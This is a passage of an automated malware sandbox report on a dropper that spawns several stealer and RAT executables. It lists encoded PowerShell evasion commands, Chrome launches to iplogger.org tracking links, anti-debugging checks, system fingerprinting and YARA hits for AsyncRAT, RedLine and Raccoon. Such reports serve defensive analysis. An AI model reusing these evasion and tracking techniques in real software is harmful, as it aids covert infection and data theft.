Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: 16_2_00590D90 mov eax, dword ptr fs:[00000030h]		16_2_00590D90

Source: C:\Program Files (x86)\Company\NewProduct\ordo_sec666.exe

Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe

Memory protected: page write copy | page execute | page execute read | page execute and read and write | page guard

HIPS / PFW / Operating System Protection Evasion

Encrypted powershell cmdline option found

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE	Process created: Base64 decoded Start-Sleep -Seconds 34
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE	Process created: Base64 decoded Start-Sleep -Seconds 34

Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AEmX4	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1ARmX4	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AAmX4	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AFmX4	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AGmX4	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AJmX4	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AKmX4	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AZmX4	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AVmX4	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files (x86)\Company\NewProduct\F0geI.exe "C:\Program Files (x86)\Company\NewProduct\F0geI.exe"	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe "C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe"	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe "C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe"	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files (x86)\Company\NewProduct\real.exe "C:\Program Files (x86)\Company\NewProduct\real.exe"	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files (x86)\Company\NewProduct\safert44.exe "C:\Program Files (x86)\Company\NewProduct\safert44.exe"	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files (x86)\Company\NewProduct\jshainx.exe "C:\Program Files (x86)\Company\NewProduct\jshainx.exe"	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files (x86)\Company\NewProduct\brokerius.exe "C:\Program Files (x86)\Company\NewProduct\brokerius.exe"	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1620 --field-trial-handle=1836,i,2712633263184333272,1787265188000872962,131072 /prefetch:8	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files (x86)\Company\NewProduct\ordo_sec666.exe "C:\Program Files (x86)\Company\NewProduct\ordo_sec666.exe"	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe "C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe"	Jump to behavior
Source: C:\Users\user\Desktop\em1B8DcC72.exe	Process created: C:\Program Files (x86)\Company\NewProduct\EU1.exe "C:\Program Files (x86)\Company\NewProduct\EU1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA0AA==

Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: LocalAlloc,LocalAlloc,LocalAlloc,GetLocaleInfoW,GetUserDefaultLCID,GetLocaleInfoW,wsprintfW,LocalFree,LocalFree,	16_2_00409064
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: ___getlocaleinfo,__nh_malloc_dbg,__nh_malloc_dbg,__nh_malloc_dbg,__nh_malloc_dbg,___crtLCMapStringW,___crtLCMapStringA,___crtLCMapStringA,	16_2_00414900
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: __nh_malloc_dbg,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_fix_grouping,	16_2_00427A30
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: ___crtGetLocaleInfoW,___crtGetLocaleInfoW,__nh_malloc_dbg,___crtGetLocaleInfoW,__nh_malloc_dbg,_strncpy_s,__invoke_watson_if_error,___crtGetLocaleInfoW,_isdigit,	16_2_00423CA0
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	16_2_00426D20
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: __nh_malloc_dbg,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_fix_grouping,	16_2_00427660
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoW_stat,_LocaleUpdate::~_LocaleUpdate,	16_2_0042E740
Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,_LocaleUpdate::~_LocaleUpdate,	16_2_0042E7B0
Source: C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe	Code function: LocalAlloc,LocalAlloc,LocalAlloc,GetLocaleInfoW,GetUserDefaultLCID,GetLocaleInfoW,wsprintfW,LocalFree,LocalFree,	18_2_00409064

Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Queries volume information: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\safert44.exe	Queries volume information: C:\Program Files (x86)\Company\NewProduct\safert44.exe VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\safert44.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\safert44.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\safert44.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\safert44.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\safert44.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\safert44.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\safert44.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\jshainx.exe	Queries volume information: C:\Program Files (x86)\Company\NewProduct\jshainx.exe VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\jshainx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\jshainx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\jshainx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\jshainx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\jshainx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\jshainx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\jshainx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\brokerius.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe	Queries volume information: C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Program Files (x86)\Company\NewProduct\EU1.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE	Queries volume information: C:\Users\user\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation

Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe

Code function: 16_2_004092CF cpuid

16_2_004092CF

Source: C:\Program Files (x86)\Company\NewProduct\real.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Program Files (x86)\Company\NewProduct\real.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe

Code function: 16_2_0040919C LocalAlloc,GetTimeZoneInformation,LocalAlloc,wsprintfW,LocalFree,

16_2_0040919C

Source: C:\Program Files (x86)\Company\NewProduct\F0geI.exe

Code function: 16_2_0040A672 LocalAlloc,GetUserNameW,

16_2_0040A672

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected AsyncRAT

Source: Yara match

File source: Process Memory Space: SETUP_~1.EXE PID: 2708, type: MEMORYSTR

Source: safert44.exe, 00000017.00000002.901369184.0000000001430000.00000004.00000010.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 19.0.namdoitntn.exe.470000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.em1B8DcC72.exe.2a6ae14.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.0.ffnameedit.exe.a00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.0.jshainx.exe.7e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.em1B8DcC72.exe.2a6ae14.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000000.374306011.0000000000472000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000000.387215652.00000000007F3000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000000.411195133.0000000000A13000.00000002.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.329860040.00000000029F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: namdoitntn.exe PID: 644, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: safert44.exe PID: 6504, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: jshainx.exe PID: 6960, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ffnameedit.exe PID: 2416, type: MEMORYSTR
Source: Yara match	File source: C:\Program Files (x86)\Company\NewProduct\jshainx.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe, type: DROPPED

Yara detected CryptOne packer

Source: Yara match

File source: 00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Raccoon Stealer v2

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 16.3.F0geI.exe.5a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.F0geI.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.kukurzka9000.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.kukurzka9000.exe.2540174.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.F0geI.exe.590e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.F0geI.exe.590e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.3.F0geI.exe.772d33.16.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.kukurzka9000.exe.2540174.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.3.F0geI.exe.772d33.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.F0geI.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.kukurzka9000.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.3.F0geI.exe.5a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.3.F0geI.exe.772d33.19.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.3.F0geI.exe.772d33.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.3.F0geI.exe.772d33.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.3.F0geI.exe.772d33.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.3.F0geI.exe.772d33.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000003.372703549.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.427822281.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.453293334.00000000007A0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
